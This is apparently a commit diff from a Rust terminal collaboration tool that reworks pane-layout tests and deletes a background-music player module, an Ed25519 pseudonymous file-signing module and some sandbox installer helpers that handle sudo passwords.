fn find_vsplit(node: &mut Node) -> Option<(&mut u16, &mut Box<Node>, &mut Box<Node>)> {
match node {
Node::Leaf(_) => None,
Node::VSplit { top_pct, top, bottom } => Some((top_pct, top, bottom)),
Node::HSplit { left, right, .. } => find_vsplit(left).or_else(|| find_vsplit(right)),
}
}
/// Nearest HSplit's `right_cells` (mutable) on the path to a leaf.
fn find_hsplit(node: &mut Node) -> Option<&mut u16> {
match node {
Node::Leaf(_) => None,
Node::HSplit { right_cells, .. } => Some(right_cells),
Node::VSplit { top, bottom, .. } => find_hsplit(top).or_else(|| find_hsplit(bottom)),
}
}
fn find_top_pct(node: &Node) -> Option<u16> {
match node {
Node::Leaf(_) => None,
Node::VSplit { top_pct, .. } => Some(*top_pct),
Node::HSplit { left, right, .. } => find_top_pct(left).or_else(|| find_top_pct(right)),
}
}
fn step_pct(pct: u16, grow: bool) -> u16 {
let next = if grow {
pct + Layout::PCT_STEP
} else {
pct.saturating_sub(Layout::PCT_STEP)
};
next.clamp(Layout::MIN_TOP, Layout::MAX_TOP)
}
fn step_cells(cells: u16, grow: bool) -> u16 {
let next = if grow {
cells + Layout::CELL_STEP
} else {
cells.saturating_sub(Layout::CELL_STEP)
};
next.min(Layout::MAX_ROSTER)
}
fn step_rows(rows: u16, grow: bool) -> u16 {
let next = if grow {
rows + Layout::ROW_STEP
} else {
rows.saturating_sub(Layout::ROW_STEP)
};
next.clamp(Layout::MIN_INPUT, Layout::MAX_INPUT)
}
fn clamp_node(node: &mut Node) {
match node {
Node::Leaf(_) => {}
Node::VSplit { top_pct, top, bottom } => {
*top_pct = (*top_pct).clamp(Layout::MIN_TOP, Layout::MAX_TOP);
clamp_node(top);
clamp_node(bottom);
}
Node::HSplit { right_cells, left, right } => {
*right_cells = (*right_cells).min(Layout::MAX_ROSTER);
clamp_node(left);
clamp_node(right);
}
}
}
/// Reduce a free-form name to a safe lowercase `<slug>` (ascii letters/digits,
/// any other run folded to a single '-'), matching theme.rs's convention.
fn slugify(name: &str) -> String {
@@ -479,168 +195,45 @@ fn slugify(name: &str) -> String {
mod tests {
use super::*;
fn body() -> Rect {
Rect::new(0, 0, 100, 40)
#[test]
fn clamp_bounds_pct_and_roster() {
let mut l = Layout {
pty_pct: 999,
roster_width: 999,
zoom: Zoom::Normal,
};
l.clamp();
assert_eq!(l.pty_pct, Layout::MAX_PCT);
assert_eq!(l.roster_width, Layout::MAX_ROSTER);
let mut low = Layout {
pty_pct: 1,
roster_width: 0,
zoom: Zoom::Normal,
};
low.clamp();
assert_eq!(low.pty_pct, Layout::MIN_PCT);
assert_eq!(low.roster_width, 0); // 0 is valid (hidden)
}
#[test]
fn regions_cover_body_with_sandbox() {
let l = Layout::default();
let regs = l.regions(body(), true);
// chat, terminal, roster all present.
assert_eq!(regs.len(), 3);
assert!(regs.iter().any(|(p, _)| *p == Pane::Chat));
assert!(regs.iter().any(|(p, _)| *p == Pane::Terminal));
assert!(regs.iter().any(|(p, _)| *p == Pane::Roster));
// total painted area equals the body (no gaps/overlap in a binary split).
let area: u32 = regs.iter().map(|(_, r)| r.area() as u32).sum();
assert_eq!(area, body().area() as u32);
}
#[test]
fn no_sandbox_prunes_terminal() {
let l = Layout::default();
let regs = l.regions(body(), false);
assert!(!regs.iter().any(|(p, _)| *p == Pane::Terminal));
assert!(regs.iter().any(|(p, _)| *p == Pane::Chat));
// chat now owns the full left-column height.
let chat = l.rect_of(body(), Pane::Chat, false).unwrap();
assert_eq!(chat.height, body().height);
}
#[test]
fn roster_hidden_at_zero_cells() {
let mut l = Layout::default();
l.set_roster_width(0);
let regs = l.regions(body(), true);
assert!(!regs.iter().any(|(p, _)| *p == Pane::Roster));
// chat column now spans full width.
let chat = l.rect_of(body(), Pane::Chat, true).unwrap();
assert_eq!(chat.width, body().width);
}
#[test]
fn vertical_resize_grows_focused_pane() {
let mut l = Layout::default();
let chat0 = l.rect_of(body(), Pane::Chat, true).unwrap().height;
assert_eq!(l.resize_focused(Pane::Chat, Dir::Up, true), Resize::Moved);
let chat1 = l.rect_of(body(), Pane::Chat, true).unwrap().height;
assert!(chat1 > chat0, "chat grew taller on ↑");
// terminal up grows the terminal (chat shrinks).
assert_eq!(l.resize_focused(Pane::Terminal, Dir::Up, true), Resize::Moved);
let chat2 = l.rect_of(body(), Pane::Chat, true).unwrap().height;
assert!(chat2 < chat1, "chat shrank when terminal grew");
}
#[test]
fn horizontal_resize_changes_roster_width() {
let mut l = Layout::default();
let r0 = l.rect_of(body(), Pane::Roster, true).unwrap().width;
assert_eq!(l.resize_focused(Pane::Roster, Dir::Right, true), Resize::Moved);
let r1 = l.rect_of(body(), Pane::Roster, true).unwrap().width;
assert!(r1 > r0, "roster widened on →");
// focusing chat and pressing → narrows the roster (grows the left column).
assert_eq!(l.resize_focused(Pane::Chat, Dir::Right, true), Resize::Moved);
let r2 = l.rect_of(body(), Pane::Roster, true).unwrap().width;
assert!(r2 < r1, "roster narrowed when chat grew");
}
#[test]
fn vertical_resize_drags_input_when_no_terminal() {
let mut l = Layout::default();
let h0 = l.input_height(); // default = MIN_INPUT
// Chat ↓ with no sandbox shrinks the chat body → grows the input bar.
assert_eq!(l.resize_focused(Pane::Chat, Dir::Down, false), Resize::Moved);
assert!(l.input_height() > h0, "chat ↓ grew the input bar");
let h1 = l.input_height();
// Chat ↑ grows the chat body → shrinks the input bar.
assert_eq!(l.resize_focused(Pane::Chat, Dir::Up, false), Resize::Moved);
assert!(l.input_height() < h1, "chat ↑ shrank the input bar");
// The roster trades the same way (even with a sandbox up): clergy borrows
// height from the chat body via the same divider.
l.resize_focused(Pane::Roster, Dir::Down, true);
let h2 = l.input_height();
assert_eq!(l.resize_focused(Pane::Roster, Dir::Up, true), Resize::Moved);
assert!(l.input_height() < h2, "roster ↑ shrank the input bar (body grew)");
}
#[test]
fn resize_honours_clamps() {
let mut l = Layout::default();
for _ in 0..50 {
l.resize_focused(Pane::Chat, Dir::Up, true);
}
assert_eq!(find_top_pct(&l.root), Some(Layout::MAX_TOP));
for _ in 0..50 {
l.resize_focused(Pane::Chat, Dir::Down, true);
}
assert_eq!(find_top_pct(&l.root), Some(Layout::MIN_TOP));
}
#[test]
fn present_panes_track_visibility() {
let mut l = Layout::default();
assert_eq!(
l.present_panes(true),
vec![Pane::Chat, Pane::Terminal, Pane::Roster, Pane::Input]
);
assert_eq!(
l.present_panes(false),
vec![Pane::Chat, Pane::Roster, Pane::Input]
);
l.set_roster_width(0);
assert_eq!(l.present_panes(false), vec![Pane::Chat, Pane::Input]);
}
#[test]
fn input_resize_grows_and_clamps_without_sandbox() {
let mut l = Layout::default();
let h0 = l.input_height();
// ↑ grows the input bar even with no sandbox (has_terminal = false).
assert_eq!(l.resize_focused(Pane::Input, Dir::Up, false), Resize::Moved);
assert!(l.input_height() > h0, "input grew taller on ↑");
// ←/→ have no axis for the input bar.
assert_eq!(
l.resize_focused(Pane::Input, Dir::Left, false),
Resize::NoAxisHere
);
// Clamp at both ends.
for _ in 0..50 {
l.resize_focused(Pane::Input, Dir::Up, false);
}
assert_eq!(l.input_height(), Layout::MAX_INPUT);
for _ in 0..50 {
l.resize_focused(Pane::Input, Dir::Down, false);
}
assert_eq!(l.input_height(), Layout::MIN_INPUT);
}
#[test]
fn serde_round_trips_the_tree() {
let mut l = Layout::default();
l.resize_focused(Pane::Chat, Dir::Up, true);
l.set_roster_width(30);
let s = toml::to_string_pretty(&l).unwrap();
let back: Layout = toml::from_str(&s).unwrap();
assert_eq!(back, l);
}
#[test]
fn zoom_term_fills_body() {
fn effective_pct_full_under_term_zoom() {
let mut l = Layout::default();
assert_eq!(l.effective_pty_pct(), 55);
l.zoom = Zoom::Term;
let regs = l.regions(body(), true);
assert_eq!(regs.len(), 1);
assert_eq!(regs[0].0, Pane::Terminal);
assert_eq!(regs[0].1, body());
assert_eq!(l.effective_pty_pct(), 100);
l.zoom = Zoom::Chat;
assert_eq!(l.effective_pty_pct(), 55); // chat hidden ≠ resize the pty
}
#[test]
fn zoom_chat_hides_terminal() {
fn cycle_and_resize_drop_out_of_zoom() {
let mut l = Layout::default();
l.zoom = Zoom::Chat;
let regs = l.regions(body(), true);
assert!(!regs.iter().any(|(p, _)| *p == Pane::Terminal));
assert!(regs.iter().any(|(p, _)| *p == Pane::Chat));
l.cycle_zoom();
assert_eq!(l.zoom, Zoom::Term);
l.grow_pty(5);
assert_eq!(l.zoom, Zoom::Normal);
assert_eq!(l.pty_pct, 60);
l.shrink_pty(100);
assert_eq!(l.pty_pct, Layout::MIN_PCT);
}
}
hh/src/main.rs
-2
View File
@@ -8,9 +8,7 @@ mod app;
mod crypto;
mod ft;
mod layout;
mod music;
mod net;
mod persona;
mod sbx;
mod theme;
mod ui;
hh/src/music.rs
-433
View File
@@ -1,433 +0,0 @@
//! Background music for terminal sessions — "hacker vibes". Plays bundled
//! CC-BY albums (see `hh/music/*.json`) or the operator's own imported files
//! through an *external* player (mpv / ffplay / cvlc), shelled out like the
//! sandbox backends so the Rust binary itself stays codec- and audio-device
//! free. Driven by `/music` in `app::handle_command`; the run loop's tick calls
//! `Player::tick` to auto-advance between tracks.
use serde::{Deserialize, Serialize};
use std::path::{Path, PathBuf};
use std::process::{Child, Command, Stdio};
/// Where the bundled albums live, so `/music play <name>` resolves a bare name
/// to a manifest at runtime (mirrors theme.rs's `THEMES_DIR`). Each `*.json`
/// here is one playlist; its `src`s are paths relative to this directory.
pub const MUSIC_DIR: &str = concat!(env!("CARGO_MANIFEST_DIR"), "/music");
/// File extensions we treat as importable audio for `/music import <dir>`.
const AUDIO_EXTS: &[&str] = &[
"mp3", "ogg", "oga", "flac", "wav", "m4a", "aac", "opus", "wma",
];
#[derive(Debug, Clone, Default, Deserialize, Serialize)]
#[serde(default)]
pub struct Track {
pub title: String,
pub artist: String,
/// A stream URL (`scheme://…`), an absolute file path, or a path relative to
/// the playlist's own directory.
pub src: String,
/// Track length in seconds, if known (0 = unknown). Display-only.
pub secs: u32,
}
#[derive(Debug, Clone, Default, Deserialize, Serialize)]
#[serde(default)]
pub struct Playlist {
pub name: String,
pub about: String,
pub license: String,
pub tracks: Vec<Track>,
}
/// External players we know how to drive, in preference order. Each plays a
/// single source to its end and then exits, which is exactly the signal
/// `Player::tick` waits on to advance to the next track.
#[derive(Clone, Copy, Debug, PartialEq, Eq)]
enum Engine {
Mpv,
Ffplay,
Cvlc,
}
impl Engine {
/// First installed player, searching PATH. `None` means the host has no
/// audio backend and `/music` can't play anything.
fn detect() -> Option<Engine> {
for (bin, eng) in [
("mpv", Engine::Mpv),
("ffplay", Engine::Ffplay),
("cvlc", Engine::Cvlc),
] {
if in_path(bin) {
return Some(eng);
}
}
None
}
fn bin(self) -> &'static str {
match self {
Engine::Mpv => "mpv",
Engine::Ffplay => "ffplay",
Engine::Cvlc => "cvlc",
}
}
/// A headless, quiet, play-once command for a single `target` source.
fn command(self, target: &str) -> Command {
let mut c = Command::new(self.bin());
match self {
Engine::Mpv => {
c.args(["--no-video", "--really-quiet", "--no-terminal"]).arg(target);
}
Engine::Ffplay => {
c.args(["-nodisp", "-autoexit", "-hide_banner", "-loglevel", "error"])
.arg(target);
}
Engine::Cvlc => {
c.args(["--intf", "dummy", "--play-and-exit", "--quiet"]).arg(target);
}
}
c
}
}
/// A live playback session: an album, a cursor into it, and the child player
/// process rendering the current track. Kept out of `App` (like the `/ai`
/// agent child) so the UI never touches a process handle; `App::now_playing`
/// mirrors `label()` for display. Dropping it always stops the audio.
pub struct Player {
playlist: Playlist,
/// Directory the playlist's relative `src`s resolve against.
base: PathBuf,
idx: usize,
engine: Engine,
child: Child,
}
impl Player {
/// Load `name` (user library shadows bundled) and start playing its first
/// track. Errors carry a chat-ready message.
pub fn start(name: &str) -> Result<Player, String> {
let engine = Engine::detect().ok_or_else(|| {
"no audio player found — install ffplay (ffmpeg), mpv, or vlc".to_string()
})?;
let (playlist, base) = load(name)?;
if playlist.tracks.is_empty() {
return Err(format!("album '{name}' has no tracks"));
}
let target = resolve(&base, &playlist.tracks[0].src);
let child = spawn(engine, &target)?;
Ok(Player {
playlist,
base,
idx: 0,
engine,
child,
})
}
/// Poll the player once (call on the run-loop tick). Returns:
/// - `None` — the current track is still playing.
/// - `Some(Ok(label))` — the track finished; advanced to a new one.
/// - `Some(Err(e))` — couldn't continue; caller should drop the player.
pub fn tick(&mut self) -> Option<Result<String, String>> {
match self.child.try_wait() {
Ok(Some(_)) => Some(self.advance()),
Ok(None) => None,
Err(_) => None, // transient wait error — retry next tick
}
}
/// Kill the current track and jump to the next (wrapping). Backs `/music
/// next` / `/music skip`.
pub fn skip(&mut self) -> Result<String, String> {
let _ = self.child.kill();
let _ = self.child.wait();
self.advance()
}
/// Stop playback and reap the child.
pub fn stop(&mut self) {
let _ = self.child.kill();
let _ = self.child.wait();
}
/// "album ▸ Track Title" — mirrored into `App::now_playing` for the top bar.
pub fn label(&self) -> String {
format!("{} ▸ {}", self.playlist.name, self.playlist.tracks[self.idx].title)
}
fn advance(&mut self) -> Result<String, String> {
self.idx = (self.idx + 1) % self.playlist.tracks.len();
let target = resolve(&self.base, &self.playlist.tracks[self.idx].src);
self.child = spawn(self.engine, &target)?;
Ok(self.label())
}
}
impl Drop for Player {
fn drop(&mut self) {
let _ = self.child.kill();
let _ = self.child.wait();
}
}
/// Spawn the chosen player on one source, muting its stdio into a temp log so it
/// can never scribble on the TUI.
fn spawn(engine: Engine, target: &str) -> Result<Child, String> {
let log = std::env::temp_dir().join("hh-music.log");
let (out, err) = match std::fs::File::create(&log) {
Ok(f) => {
let dup = f.try_clone().map_err(|e| e.to_string())?;
(Stdio::from(f), Stdio::from(dup))
}
Err(_) => (Stdio::null(), Stdio::null()),
};
engine
.command(target)
.stdin(Stdio::null())
.stdout(out)
.stderr(err)
.spawn()
.map_err(|e| format!("could not start {} ({e})", engine.bin()))
}
/// Turn a track `src` into something the player can open: URLs and absolute
/// paths pass through; a bare/relative path resolves against the playlist dir.
fn resolve(base: &Path, src: &str) -> String {
if src.contains("://") {
return src.to_string();
}
let p = Path::new(src);
if p.is_absolute() {
src.to_string()
} else {
base.join(src).to_string_lossy().into_owned()
}
}
/// The user's personal album library, where `/music import` writes. `None` if
/// `$HOME` is unset.
pub fn user_dir() -> Option<PathBuf> {
std::env::var_os("HOME").map(|h| PathBuf::from(h).join(".hh/music"))
}
/// Album search path: the user library first (so it can shadow a bundled name),
/// then the shipped albums.
fn dirs() -> Vec<PathBuf> {
let mut v = Vec::new();
if let Some(u) = user_dir() {
v.push(u);
}
v.push(PathBuf::from(MUSIC_DIR));
v
}
/// Every album name (`*.json` stem) across the search path, deduped + sorted.
pub fn available() -> Vec<String> {
let mut set = std::collections::BTreeSet::new();
for dir in dirs() {
if let Ok(rd) = std::fs::read_dir(&dir) {
for e in rd.flatten() {
let path = e.path();
if path.extension().and_then(|s| s.to_str()) == Some("json") {
if let Some(stem) = path.file_stem().and_then(|s| s.to_str()) {
set.insert(stem.to_string());
}
}
}
}
}
set.into_iter().collect()
}
/// Load an album by name (user library shadows bundled). Returns the parsed
/// playlist and the directory its relative `src`s resolve against.
fn load(name: &str) -> Result<(Playlist, PathBuf), String> {
for dir in dirs() {
let file = dir.join(format!("{name}.json"));
if file.is_file() {
let s = std::fs::read_to_string(&file).map_err(|e| e.to_string())?;
let mut pl: Playlist =
serde_json::from_str(&s).map_err(|e| format!("parse {}: {e}", file.display()))?;
if pl.name.is_empty() {
pl.name = name.to_string();
}
return Ok((pl, dir));
}
}
Err(format!("no album '{name}' — try: {}", once_or_none(available())))
}
/// Roll a random installed album name (backs `/music random`).
pub fn random() -> Option<String> {
let all = available();
if all.is_empty() {
return None;
}
let n = std::time::SystemTime::now()
.duration_since(std::time::UNIX_EPOCH)
.map(|d| d.as_nanos() as usize)
.unwrap_or(0);
Some(all[n % all.len()].clone())
}
/// Import a file or a directory of audio into the user library as a new album,
/// referencing the files in place (absolute paths — nothing is copied).
/// Returns the album name and track count.
pub fn import(path: &str, as_name: Option<&str>) -> Result<(String, usize), String> {
let p = Path::new(path);
if !p.exists() {
return Err(format!("no such path: {path}"));
}
let mut tracks = Vec::new();
if p.is_dir() {
let mut files: Vec<PathBuf> = std::fs::read_dir(p)
.map_err(|e| e.to_string())?
.flatten()
.map(|e| e.path())
.filter(|q| is_audio(q))
.collect();
files.sort();
for f in &files {
tracks.push(track_from(f));
}
} else if is_audio(p) {
tracks.push(track_from(p));
} else {
return Err(format!("not an audio file: {path}"));
}
if tracks.is_empty() {
return Err(format!("no audio files found under {path}"));
}
let default_stem = p
.file_stem()
.or_else(|| p.file_name())
.and_then(|s| s.to_str())
.unwrap_or("import");
let name = as_name
.map(slugify)
.filter(|s| !s.is_empty())
.unwrap_or_else(|| slugify(default_stem));
let name = if name.is_empty() { "import".to_string() } else { name };
let dir = user_dir().ok_or_else(|| "no $HOME to store the album".to_string())?;
std::fs::create_dir_all(&dir).map_err(|e| e.to_string())?;
let count = tracks.len();
let pl = Playlist {
name: name.clone(),
about: format!("imported from {path}"),
license: "user-provided".into(),
tracks,
};
let file = dir.join(format!("{name}.json"));
let body = serde_json::to_string_pretty(&pl).map_err(|e| e.to_string())?;
std::fs::write(&file, body).map_err(|e| format!("write {}: {e}", file.display()))?;
Ok((name, count))
}
fn track_from(p: &Path) -> Track {
let abs = std::fs::canonicalize(p).unwrap_or_else(|_| p.to_path_buf());
let title = p
.file_stem()
.and_then(|s| s.to_str())
.unwrap_or("track")
.to_string();
Track {
title,
artist: String::new(),
src: abs.to_string_lossy().into_owned(),
secs: 0,
}
}
fn is_audio(p: &Path) -> bool {
p.is_file()
&& p.extension()
.and_then(|s| s.to_str())
.map(|e| AUDIO_EXTS.contains(&e.to_ascii_lowercase().as_str()))
.unwrap_or(false)
}
/// Is `bin` an executable name reachable on `$PATH`? Dependency-free stand-in
/// for the `which` crate — good enough to pick an installed player.
fn in_path(bin: &str) -> bool {
std::env::var_os("PATH")
.map(|path| std::env::split_paths(&path).any(|d| d.join(bin).is_file()))
.unwrap_or(false)
}
/// Reduce a free-form album name to a safe `<slug>.json` filename.
fn slugify(name: &str) -> String {
let mut out = String::new();
let mut dash = false;
for c in name.trim().chars() {
if c.is_ascii_alphanumeric() {
if dash && !out.is_empty() {
out.push('-');
}
out.extend(c.to_lowercase());
dash = false;
} else {
dash = true;
}
}
out
}
/// Join names with " · ", or say "(none)" so an empty list still reads cleanly.
pub fn once_or_none(items: Vec<String>) -> String {
if items.is_empty() {
"(none)".to_string()
} else {
items.join(" · ")
}
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn bundled_albums_are_discoverable() {
// The shipped albums must be found by name so `/music play crypt` works.
let names = available();
assert!(names.contains(&"crypt".to_string()), "albums: {names:?}");
assert!(names.contains(&"terminal".to_string()), "albums: {names:?}");
}
#[test]
fn bundled_albums_parse_and_have_tracks() {
for name in ["crypt", "terminal"] {
let (pl, base) = load(name).expect("bundled album loads");
assert_eq!(pl.name, name);
assert!(!pl.tracks.is_empty(), "{name} has tracks");
// Every relative src must resolve to a file that actually shipped.
for t in &pl.tracks {
let path = resolve(&base, &t.src);
assert!(
Path::new(&path).is_file(),
"{name}: missing track file {path}"
);
}
}
}
#[test]
fn resolve_passes_urls_and_absolutes_through() {
let base = Path::new("/tmp/albums");
assert_eq!(resolve(base, "http://x/y.mp3"), "http://x/y.mp3");
assert_eq!(resolve(base, "/abs/a.mp3"), "/abs/a.mp3");
assert_eq!(resolve(base, "sub/a.mp3"), "/tmp/albums/sub/a.mp3");
}
#[test]
fn slugify_makes_safe_names() {
assert_eq!(slugify(" My Mix!! "), "my-mix");
assert_eq!(slugify("late/night"), "late-night");
assert_eq!(slugify("!!!"), "");
}
}
hh/src/persona.rs
-158
View File
@@ -1,158 +0,0 @@
//! Pseudonymous attribution — a persistent Ed25519 "persona" key that signs the
//! files you share, plus an optional revealable attribution commitment.
//!
//! Modeled on Princess_Pi's *Encrypt-Share-Attribution* (Church of Malware codex):
//! prove authorship two independent ways without ever binding to a real identity —
//! 1. an **Ed25519 signature** over the file's content hash (automatic), and
//! 2. a later **passphrase reveal** matching a `SHA-512(passphrase || sha256)`
//! commitment (opt-in via `--attest`).
//! The private key persists at `~/.config/hack-house/persona_ed25519`, so the same
//! pseudonym signs across sessions: peers can link "the same author" and verify
//! integrity, while the server (and even peers) never learn who that author is.
use base64::engine::general_purpose::STANDARD;
use base64::Engine;
use ed25519_dalek::{Signature, Signer, SigningKey, Verifier, VerifyingKey};
use sha2::{Digest, Sha256, Sha512};
use std::path::{Path, PathBuf};
/// A long-lived signing identity (the seed is 32 bytes on disk, 0600).
pub struct Persona {
signing: SigningKey,
}
impl Persona {
/// Load the persisted key, or mint + persist a new one. Never fails: if the
/// config dir is unreadable/unwritable we fall back to an ephemeral in-memory
/// key so signing still works for this session.
pub fn load_or_create() -> Self {
if let Some(path) = key_path() {
if let Ok(bytes) = std::fs::read(&path) {
if let Ok(seed) = <[u8; 32]>::try_from(bytes.as_slice()) {
return Self {
signing: SigningKey::from_bytes(&seed),
};
}
}
let signing = gen();
if let Some(dir) = path.parent() {
let _ = std::fs::create_dir_all(dir);
}
if std::fs::write(&path, signing.to_bytes()).is_ok() {
harden(&path);
}
return Self { signing };
}
Self { signing: gen() }
}
/// Base64 of the 32-byte Ed25519 public key — shipped in each offer frame.
pub fn pub_b64(&self) -> String {
STANDARD.encode(self.signing.verifying_key().to_bytes())
}
/// Base64 detached signature over `msg`.
pub fn sign_b64(&self, msg: &[u8]) -> String {
STANDARD.encode(self.signing.sign(msg).to_bytes())
}
/// Short human tag for this persona (sha256 of the pubkey, first 4 bytes hex).
/// Handy for a future roster badge; peers currently render `fingerprint_of`
/// the incoming pubkey directly.
#[allow(dead_code)]
pub fn fingerprint(&self) -> String {
fingerprint_of(&self.pub_b64()).unwrap_or_else(|| "unknown".into())
}
}
fn gen() -> SigningKey {
let mut seed = [0u8; 32];
rand::RngCore::fill_bytes(&mut rand::thread_rng(), &mut seed);
SigningKey::from_bytes(&seed)
}
#[cfg(unix)]
fn harden(path: &Path) {
use std::os::unix::fs::PermissionsExt;
let _ = std::fs::set_permissions(path, std::fs::Permissions::from_mode(0o600));
}
#[cfg(not(unix))]
fn harden(_path: &Path) {}
fn key_path() -> Option<PathBuf> {
let home = std::env::var_os("HOME")?;
Some(
PathBuf::from(home)
.join(".config")
.join("hack-house")
.join("persona_ed25519"),
)
}
/// Canonical bytes signed for a file offer — binds the content hash, name, and
/// size so a signature can't be lifted onto a different file.
pub fn attest_msg(sha256_hex: &str, name: &str, size: u64) -> Vec<u8> {
format!("hh-attest-v1\n{sha256_hex}\n{name}\n{size}").into_bytes()
}
/// Short fingerprint tag from a base64 pubkey (sha256 → first 4 bytes hex).
pub fn fingerprint_of(pub_b64: &str) -> Option<String> {
let raw = STANDARD.decode(pub_b64).ok()?;
let d = Sha256::digest(&raw);
Some(hex::encode(&d[..4]))
}
/// Verify an offer signature. Returns false on any malformed input.
pub fn verify(pub_b64: &str, sig_b64: &str, msg: &[u8]) -> bool {
let inner = || -> Option<bool> {
let pk_raw = STANDARD.decode(pub_b64).ok()?;
let pk = VerifyingKey::from_bytes(&<[u8; 32]>::try_from(pk_raw.as_slice()).ok()?).ok()?;
let sig_raw = STANDARD.decode(sig_b64).ok()?;
let sig = Signature::from_bytes(&<[u8; 64]>::try_from(sig_raw.as_slice()).ok()?);
Some(pk.verify(msg, &sig).is_ok())
};
inner().unwrap_or(false)
}
/// Attribution commitment, ESA-style: `SHA-512(passphrase || sha256_hex)`. The
/// author can later reveal the passphrase; anyone recomputes this against the
/// (signed) content hash to confirm authorship.
pub fn commitment(passphrase: &str, sha256_hex: &str) -> String {
let mut h = Sha512::new();
h.update(passphrase.as_bytes());
h.update(sha256_hex.as_bytes());
hex::encode(h.finalize())
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn sign_verify_roundtrip() {
let p = Persona { signing: gen() };
let msg = attest_msg("deadbeef", "note.txt", 42);
let sig = p.sign_b64(&msg);
assert!(verify(&p.pub_b64(), &sig, &msg), "valid signature verifies");
// Tampering with any bound field breaks verification.
let bad = attest_msg("deadbeef", "note.txt", 43);
assert!(!verify(&p.pub_b64(), &sig, &bad), "size tamper rejected");
assert!(!verify(&p.pub_b64(), "AAAA", &msg), "garbage sig rejected");
}
#[test]
fn commitment_reveal() {
let c = commitment("correct horse battery staple pony", "abc123");
assert_eq!(c, commitment("correct horse battery staple pony", "abc123"));
assert_ne!(c, commitment("wrong passphrase", "abc123"));
assert_eq!(c.len(), 128, "sha512 hex");
}
#[test]
fn fingerprint_is_stable_and_short() {
let p = Persona { signing: gen() };
let fp = p.fingerprint();
assert_eq!(fp.len(), 8, "4 bytes → 8 hex chars");
assert_eq!(Some(fp), fingerprint_of(&p.pub_b64()));
}
}
hh/src/sbx.rs
+97 -355
View File
@@ -16,8 +16,6 @@ use std::sync::mpsc;
const ENSURE_DOCKER: &str = concat!(env!("CARGO_MANIFEST_DIR"), "/scripts/ensure-docker.sh");
/// Detect-first Multipass installer (ships in hh/scripts/).
const ENSURE_MULTIPASS: &str = concat!(env!("CARGO_MANIFEST_DIR"), "/scripts/ensure-multipass.sh");
/// Detect-first Podman installer (apt; rootless preflight). Ships in hh/scripts/.
const ENSURE_PODMAN: &str = concat!(env!("CARGO_MANIFEST_DIR"), "/scripts/ensure-podman.sh");
/// Detect-first VirtualBox installer (ships in hh/scripts/).
const ENSURE_VBOX: &str = concat!(env!("CARGO_MANIFEST_DIR"), "/scripts/ensure-vbox.sh");
/// Baseline dev-toolchain installer run inside Docker sandboxes (hh/scripts/).
@@ -26,11 +24,6 @@ const SBX_BOOTSTRAP: &str = concat!(env!("CARGO_MANIFEST_DIR"), "/scripts/sandbo
const SBX_TOOLS_JSON: &str = concat!(env!("CARGO_MANIFEST_DIR"), "/scripts/sandbox-tools.json");
/// Creates a fresh, cloud-init-provisioned Ubuntu VirtualBox VM (hh/scripts/).
const VBOX_NEW: &str = concat!(env!("CARGO_MANIFEST_DIR"), "/scripts/vbox-new.sh");
/// Browse + locally-build VMs from the curated library (hh/scripts/).
const VBOX_LIBRARY_SH: &str = concat!(env!("CARGO_MANIFEST_DIR"), "/scripts/vbox-library.sh");
/// The library manifest: pointers (URLs/pages) to VMs, never the images. The
/// loader cross-references `list_vms` to mark which are already built locally.
const VBOX_LIBRARY_JSON: &str = concat!(env!("CARGO_MANIFEST_DIR"), "/scripts/vbox-library.json");
/// Is the `docker` binary installed? (`docker --version` succeeds.) This is a
/// weaker check than `docker_daemon_up`: the CLI can be present while the daemon
@@ -56,105 +49,16 @@ pub fn docker_daemon_up() -> bool {
.unwrap_or(false)
}
/// Is the `podman` binary installed? (`podman --version` succeeds.) Podman is
/// daemonless, so unlike Docker there is no separate daemon-up check: if the CLI
/// is present a rootless container can launch immediately (no daemon, no sudo).
pub fn podman_installed() -> bool {
Command::new("podman")
.arg("--version")
.stdout(Stdio::null())
.stderr(Stdio::null())
.status()
.map(|s| s.success())
.unwrap_or(false)
}
/// Is this a Docker Desktop (Linux) install? Its engine runs in a per-user VM
/// started by the *user* unit `docker-desktop.service` — there's no root
/// `docker.service`, so starting the daemon needs **no sudo**. Detect it so the
/// launch path doesn't pop a (useless, and on this box failing) sudo prompt.
pub fn docker_desktop() -> bool {
Command::new("systemctl")
.args(["--user", "cat", "docker-desktop.service"])
.stdout(Stdio::null())
.stderr(Stdio::null())
.status()
.map(|s| s.success())
.unwrap_or(false)
}
/// Can we sudo *without* a password prompt right now? (`sudo -n true` succeeds
/// when credentials are cached via a prior `sudo -v`, or NOPASSWD is configured.)
/// The launch paths that need root check this first: a raw-mode TUI can't host
/// sudo's interactive tty prompt, so we must never let sudo block on one.
pub fn sudo_ready() -> bool {
Command::new("sudo")
.args(["-n", "true"])
.stdin(Stdio::null())
.stdout(Stdio::null())
.stderr(Stdio::null())
.status()
.map(|s| s.success())
.unwrap_or(false)
}
/// Run an `ensure-*.sh` installer `--yes` with the given extra args, optionally
/// feeding a sudo password to the script's `sudo -S` via stdin. Shared by every
/// backend installer (docker/podman/multipass/vbox) so sudo capture is uniform.
///
/// Sudo ladder (the scripts honour all three):
/// * password present ⇒ `--stdin-pass` ⇒ the script uses `sudo -S -p ''`,
/// reading the secret from stdin — never the controlling tty (a raw-mode TUI
/// would corrupt a tty prompt). The first sudo caches the credential.
/// * no password ⇒ stdin closed; the script's `--yes` selects `sudo -n`, which
/// fails fast (clear error) if creds aren't cached rather than hanging on a
/// tty prompt the TUI can't host.
///
/// Secret handling: the password (if any) only ever travels parent→child stdin;
/// the local buffer is wiped immediately after. It is NEVER echoed, logged, or
/// surfaced — sudo never prints the password, so the captured stderr (used for
/// error messages) can't contain it.
fn run_ensure(script: &str, extra: &[&str], password: Option<String>) -> Result<(bool, String)> {
let mut cmd = Command::new("bash");
cmd.arg(script).arg("--yes");
for a in extra {
cmd.arg(a);
}
if password.is_some() {
cmd.arg("--stdin-pass").stdin(Stdio::piped());
} else {
cmd.stdin(Stdio::null());
}
cmd.stdout(Stdio::piped()).stderr(Stdio::piped());
let mut child = cmd
.spawn()
.with_context(|| format!("running {script}"))?;
if let Some(mut pw) = password {
if let Some(mut stdin) = child.stdin.take() {
// Feed the password to the first `sudo -S`; it caches the credential
// so the rest of the plan authenticates without re-reading stdin.
let _ = writeln!(stdin, "{pw}"); // stdin drops here → EOF
}
// Best-effort wipe of our copy of the secret.
unsafe {
for b in pw.as_bytes_mut() {
*b = 0;
}
}
pw.clear();
}
let out = child
.wait_with_output()
.with_context(|| format!("{script}"))?;
Ok((out.status.success(), String::from_utf8_lossy(&out.stderr).into_owned()))
}
